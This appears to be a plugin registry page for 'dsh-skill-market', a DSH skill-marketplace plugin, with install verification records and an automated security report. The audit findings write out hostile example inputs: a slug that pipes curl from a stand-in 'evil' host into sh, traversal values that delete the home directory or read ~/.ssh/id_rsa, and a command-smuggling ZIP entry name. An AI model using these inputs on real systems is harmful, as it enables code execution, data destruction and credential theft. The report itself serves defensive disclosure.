Install verification: runtime verified (L5) · tested on dsh 0.2.1-rc.2 · last checked Install verification details →
What it doesAI
DSH plugin adding a skill marketplace (SkillHub + ClawHub) with sidebar entry, overlay panel, and chat input quick-pick for browsing and picking skills.
- Sidebar entry plus overlay panel to browse SkillHub and ClawHub skills
- Quick-pick skills straight from the chat input box
- One plugin bundling two skill marketplaces for the harness
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add dsh-skill-marketInstall method: npm · runtime verified (L5)
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
○ The author declares no dsh version requirement — install is not blocked by version.
| plugin \ dsh | dsh 0.2.1-rc.2 current | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 |
|---|---|---|---|
| 1.0.0 | ✓ | ✓ | ✓ |
1.0.0npm✓ 3 runtime-verified2026-10-19
dsh-skill-market
✓dsh 0.2.1-rc.2current2026-10-19L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: npm · dsh-skill-market@1.0.0
ID: dsh-skill-market-4@1.0.0@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-19 · expires: 2026-10-26
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-alpha.42026-10-16L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: npm · dsh-skill-market@1.0.0
ID: dsh-skill-market-4@1.0.0@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-16 · expires: 2026-10-23
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-alpha.22026-10-15L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: npm · dsh-skill-market@1.0.0
ID: dsh-skill-market-4@1.0.0@dsh0.2.1-alpha.2 · profile: l3-fullscan
Issued: 2026-10-15 · expires: 2026-10-22
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the official badges in your README to showcase security & install-test status:
`[](https://www.dsh.so/artifact/dsh-skill-market-4/)``[](https://www.dsh.so/artifact/dsh-skill-market-4/)`Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low, dynamic high — stricter wins → overall high.
v1.0.0dsh manifest1.0.0npm2026-10-211.0.0same versionclean · npmVet is an AST static scan (npm artifact or git source).
show static findings (3)
- criticalshellExec · shell
src/index.js:352execSync(`tar -xf "${tempZip}" -C "${targetDir}"`, { - criticalshellExec · shell
src/index.js:362execSync( - criticalshellExec · shell
src/index.js:838execSync(`move "${src}" "${dst}"`, { windowsHide: true, stdio: 'pipe' })
show 5 audit findings
- highCommand injection: unvalidated slug interpolated into execSync tar / PowerShell command
src/index.js:352slug is taken verbatim from the RPC payload (`const { slug, source, ownerHandle } = args`) and becomes targetDir = join(skillsDir, slug). A slug containing a double quote plus a shell metacharacter (e.g. x";curl evil|sh;") closes the quoted argument and executes arbitrary commands as the DSH host user; the Windows fallback interpolates the same value into powershell -Command "Expand-Archive -Path '...' -DestinationPath '${targetDir}'". Precondition: the ZIP download for that slug must succeed so execution reaches extractZip.
- highPath traversal in slug allows recursive deletion of arbitrary directories
src/index.js:884skill-hub/uninstall only checks that slug is truthy, then joins it to skillsDir and recursively deletes the result. POST {"slug":"../.."} (or "../Documents") makes rmSync delete $DSH_HOME or the user's home directory tree; skill-hub/install has the same pattern at line 811 (rmSync of the pre-existing targetDir) and line 819 (cleanup after a failed extraction), so a crafted slug can destroy data on the install path as well.
- highArbitrary file read via skill-hub/readme (fileName and slug traversal)
src/index.js:517fileName and slug are taken from the RPC payload without validation. With slug '..' the base directory resolves to $DSH_HOME (which exists), and fileName '../.ssh/id_rsa' is the first candidate, so readFileSync returns the file content inside the ok() RPC response. Any UTF-8 readable file of the host user (keys, configs, credentials) can be exfiltrated through this endpoint.
- highWindows command injection via attacker-controlled ZIP entry names in 'move' execSync
src/index.js:839After extracting a downloaded skill, the plugin enumerates the archive's subdirectory and moves each entry with cmd.exe syntax. ZIP entry names are fully attacker-controlled: publishing a skill whose archive contains a file named e.g. a" & calc & ".md inside a subdirectory yields command execution on a Windows host when the user installs that skill (the surrounding try/catch hides the failure).
- mediumZip Slip in extractZipManual: '....//' bypasses the '..' sanitiser
src/index.js:416The removal pass is non-recursive, so '....//' collapses to '../' and '../../x' escapes targetDir, letting a STORE-method archive entry (attacker-published ZIP, reached when the system tar step fails) write files anywhere the DSH user can write (e.g. overwriting shell rc files). Extraction also relies on the system tar/PowerShell handler for traversal defence, which is implementation dependent.
Unvalidated slug/fileName from the RPC payload reach shell commands and filesystem paths, enabling command injection, arbitrary file read and recursive deletion.
Rule: the dynamic audit can only raise risk, never lower it (raise-only, never an exemption); a wrong raise is withdrawn by human review and the tier falls back to the static verdict. Overall verdict = the stricter of the two layers.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-10-08 · activity: Active
• Repo created: 2026-09-01
• Stars: ★ 7 · Forks: 0
• Health: Active — committed within last 30 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
